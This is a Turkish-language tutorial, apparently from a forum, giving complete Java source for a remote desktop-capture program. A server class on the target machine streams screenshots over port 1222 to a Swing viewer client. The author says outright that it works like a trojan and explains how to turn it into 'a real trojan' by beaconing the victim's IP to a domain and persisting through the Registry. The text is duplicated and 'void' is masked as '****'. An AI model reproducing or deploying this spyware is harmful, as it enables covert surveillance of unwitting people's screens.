Uzak bilgisayarda çalıştıracağınız
basit bir java uygulaması ile masaüstü ekran görüntüsünü doğrudan başka
bir program üzerinden izleyebilirsiniz.
Bu
program sadece bir uygulamadır. Program sonuçta bir trojan gibi
çalışabilir, ancak uzak bilgisayarın IP'sini bilmeden ekran görüntüsünü
alamazsınız, Çalıştığı bilgisayarın IP'sini standart bir domain üzerine
bağlanarak bilgi vermesini isteyebilirsiniz. Ayrıca her açıldığında
tekrar çalışması için Registry üzerine de kaydedebilirsiniz. bunu
yaptığınız takdirde elinizde gerçek bir trojan olacaktır. çalışma
sırasında port açarken güvenlik duvarı tarafından uyarı alabilirsiniz,
bu tür durumları göz önünde bulundururarak çalışmanızı diliyorum.
Öncelikle uzak bilgisayarda çalıştırmanız gereken programı
derlemelisiniz. bu dosyayı Jar haline getirdikten sonra uzak
bilgisayarda bir defa çalıştırmanız yeterlidir.
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import com.sun.imageio.plugins.jpeg.JPEG;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.OutputStream;
import java.awt.Toolkit;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Dimension;
import java.awt.image.BufferedImage;
public class resimgonder extends Thread implements Runnable {
private ServerSocket server=null;
public resimgonder() {
try{
server=new ServerSocket(1222);
}
catch(Exception ex){
ex.printStackTrace();
}
}
public **** run(){
try{
Robot r=new Robot();
Toolkit tk=Toolkit.getDefaultToolkit();
Dimension dim=tk.getScreenSize();
Rectangle rect=new Rectangle(dim);
while(true){
try{
Socket socket=server.accept();
OutputStream osw=socket.getOutputStream();
BufferedImage bi=r.createScreenCapture(rect);
JPEGEncodeParam enc=JPEGCodec.getDefaultJPEGEncodeParam(bi);
enc.setQuality(10,false);
JPEGImageEncoder ienc=JPEGCodec.createJPEGEncoder(osw);
ienc.encode(bi,enc);
osw.flush();
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
catch(Exception es){
es.printStackTrace();
}
}
public static **** main(String args[]){
try{
resimgonder r=new resimgonder();
r.start();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
şimdi sıra uzak bilgisayardaki görüntüyü kendi bilgisayarınıza
taşımanıza geldi, programı çalıştırdığınız bilgisayarın IP'sini
biliyorsanız aşağıdaki kodu çalıştırırken ilgili IP'yi yazarak görüntüyü
alabilirsiniz.
Öncelikle bir resimkutusu sınıfı yaratalım
picturebox.java
import java.awt.image.BufferedImage;
public class picturebox extends javax.swing.JPanel {
public javax.swing.ImageIcon bi=null;
public **** setBi(javax.swing.ImageIcon bi){
this.bi=bi;
repaint();
}
public javax.swing.ImageIcon getBi(){
return this.bi;
}
public picturebox() {
}
@Override
public **** paint(java.awt.Graphics g){
if(bi!=null){
g.drawImage(bi.getImage(),0,0,this.getWidth(),this .getHeight(),this);
}
else{
g.drawString("No Image",5,5);
}
}
}
daha sonra resimalma işlemini yapan sınıfı yazmallıyız
resimal.java
import java.net.Socket;
import java.io.InputStream;
import javax.swing.ImageIcon;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
public class resimal extends Thread implements Runnable {
private String host=null;
private picturebox picturebox1=null;
public resimal(String host,picturebox picturebox1) {
this.host=host;
this.picturebox1=picturebox1;
}
public synchronized **** run(){
while(true){
try{
Socket socket=new Socket(host,1222);
InputStream isr=socket.getInputStream();
BufferedImage bi=ImageIO.read(isr);
ImageIcon ic=new ImageIcon(bi);
picturebox1.setBi(ic);
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
}
şimdi sıra son uygulamamızda
Form.java
import java.net.*;
import java.io.*;
import javax.imageio.*;
import javax.swing.*;
import java.awt.*;
import java.awt.image.*;
public class Form extends javax.swing.JFrame {
private javax.swing.JButton button;
private javax.swing.JTextField IP;
private picturebox picturebox1;
public Form() {
this.setLayout(null);
button = new javax.swing.JButton("GORUNTU IZLE");
button.addActionListener(new java.awt.event.ActionListener() {
public **** actionPerformed(java.awt.event.ActionEvent evt) {
resimCagir(evt);
}
});
IP = new javax.swing.JTextField();
picturebox1 = new picturebox();
picturebox1.setBorder(javax.swing.BorderFactory.cr eateEtchedBorder());
setDefaultCloseOperation(javax.swing.WindowConstan ts.EXIT_ON_CLOSE);
button.setBounds(20,50,100,30);
IP.setBounds(130,50,200,30);
picturebox1.setBounds(20,50,640,480);
this.add(button);
this.add(IP);
this.add(picturebox1);
}
private **** resimCagir(java.awt.event.ActionEvent evt) {
resimal r=new resimal(IP.getText(),picturebox1);
r.start();
}
public static **** main(String args[]) {
Form f=new Form();
f.setSize(800,600);
f.setVisible(true);
}
}
basit bir java uygulaması ile masaüstü ekran görüntüsünü doğrudan başka
bir program üzerinden izleyebilirsiniz.
Bu
program sadece bir uygulamadır. Program sonuçta bir trojan gibi
çalışabilir, ancak uzak bilgisayarın IP'sini bilmeden ekran görüntüsünü
alamazsınız, Çalıştığı bilgisayarın IP'sini standart bir domain üzerine
bağlanarak bilgi vermesini isteyebilirsiniz. Ayrıca her açıldığında
tekrar çalışması için Registry üzerine de kaydedebilirsiniz. bunu
yaptığınız takdirde elinizde gerçek bir trojan olacaktır. çalışma
sırasında port açarken güvenlik duvarı tarafından uyarı alabilirsiniz,
bu tür durumları göz önünde bulundururarak çalışmanızı diliyorum.
Öncelikle uzak bilgisayarda çalıştırmanız gereken programı
derlemelisiniz. bu dosyayı Jar haline getirdikten sonra uzak
bilgisayarda bir defa çalıştırmanız yeterlidir.
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import com.sun.imageio.plugins.jpeg.JPEG;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.OutputStream;
import java.awt.Toolkit;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Dimension;
import java.awt.image.BufferedImage;
public class resimgonder extends Thread implements Runnable {
private ServerSocket server=null;
public resimgonder() {
try{
server=new ServerSocket(1222);
}
catch(Exception ex){
ex.printStackTrace();
}
}
public **** run(){
try{
Robot r=new Robot();
Toolkit tk=Toolkit.getDefaultToolkit();
Dimension dim=tk.getScreenSize();
Rectangle rect=new Rectangle(dim);
while(true){
try{
Socket socket=server.accept();
OutputStream osw=socket.getOutputStream();
BufferedImage bi=r.createScreenCapture(rect);
JPEGEncodeParam enc=JPEGCodec.getDefaultJPEGEncodeParam(bi);
enc.setQuality(10,false);
JPEGImageEncoder ienc=JPEGCodec.createJPEGEncoder(osw);
ienc.encode(bi,enc);
osw.flush();
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
catch(Exception es){
es.printStackTrace();
}
}
public static **** main(String args[]){
try{
resimgonder r=new resimgonder();
r.start();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
şimdi sıra uzak bilgisayardaki görüntüyü kendi bilgisayarınıza
taşımanıza geldi, programı çalıştırdığınız bilgisayarın IP'sini
biliyorsanız aşağıdaki kodu çalıştırırken ilgili IP'yi yazarak görüntüyü
alabilirsiniz.
Öncelikle bir resimkutusu sınıfı yaratalım
picturebox.java
import java.awt.image.BufferedImage;
public class picturebox extends javax.swing.JPanel {
public javax.swing.ImageIcon bi=null;
public **** setBi(javax.swing.ImageIcon bi){
this.bi=bi;
repaint();
}
public javax.swing.ImageIcon getBi(){
return this.bi;
}
public picturebox() {
}
@Override
public **** paint(java.awt.Graphics g){
if(bi!=null){
g.drawImage(bi.getImage(),0,0,this.getWidth(),this .getHeight(),this);
}
else{
g.drawString("No Image",5,5);
}
}
}
daha sonra resimalma işlemini yapan sınıfı yazmallıyız
resimal.java
import java.net.Socket;
import java.io.InputStream;
import javax.swing.ImageIcon;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
public class resimal extends Thread implements Runnable {
private String host=null;
private picturebox picturebox1=null;
public resimal(String host,picturebox picturebox1) {
this.host=host;
this.picturebox1=picturebox1;
}
public synchronized **** run(){
while(true){
try{
Socket socket=new Socket(host,1222);
InputStream isr=socket.getInputStream();
BufferedImage bi=ImageIO.read(isr);
ImageIcon ic=new ImageIcon(bi);
picturebox1.setBi(ic);
socket.close();
}
catch(Exception ex){
ex.printStackTrace();
}
}
}
}
şimdi sıra son uygulamamızda
Form.java
import java.net.*;
import java.io.*;
import javax.imageio.*;
import javax.swing.*;
import java.awt.*;
import java.awt.image.*;
public class Form extends javax.swing.JFrame {
private javax.swing.JButton button;
private javax.swing.JTextField IP;
private picturebox picturebox1;
public Form() {
this.setLayout(null);
button = new javax.swing.JButton("GORUNTU IZLE");
button.addActionListener(new java.awt.event.ActionListener() {
public **** actionPerformed(java.awt.event.ActionEvent evt) {
resimCagir(evt);
}
});
IP = new javax.swing.JTextField();
picturebox1 = new picturebox();
picturebox1.setBorder(javax.swing.BorderFactory.cr eateEtchedBorder());
setDefaultCloseOperation(javax.swing.WindowConstan ts.EXIT_ON_CLOSE);
button.setBounds(20,50,100,30);
IP.setBounds(130,50,200,30);
picturebox1.setBounds(20,50,640,480);
this.add(button);
this.add(IP);
this.add(picturebox1);
}
private **** resimCagir(java.awt.event.ActionEvent evt) {
resimal r=new resimal(IP.getText(),picturebox1);
r.start();
}
public static **** main(String args[]) {
Form f=new Form();
f.setSize(800,600);
f.setVisible(true);
}
}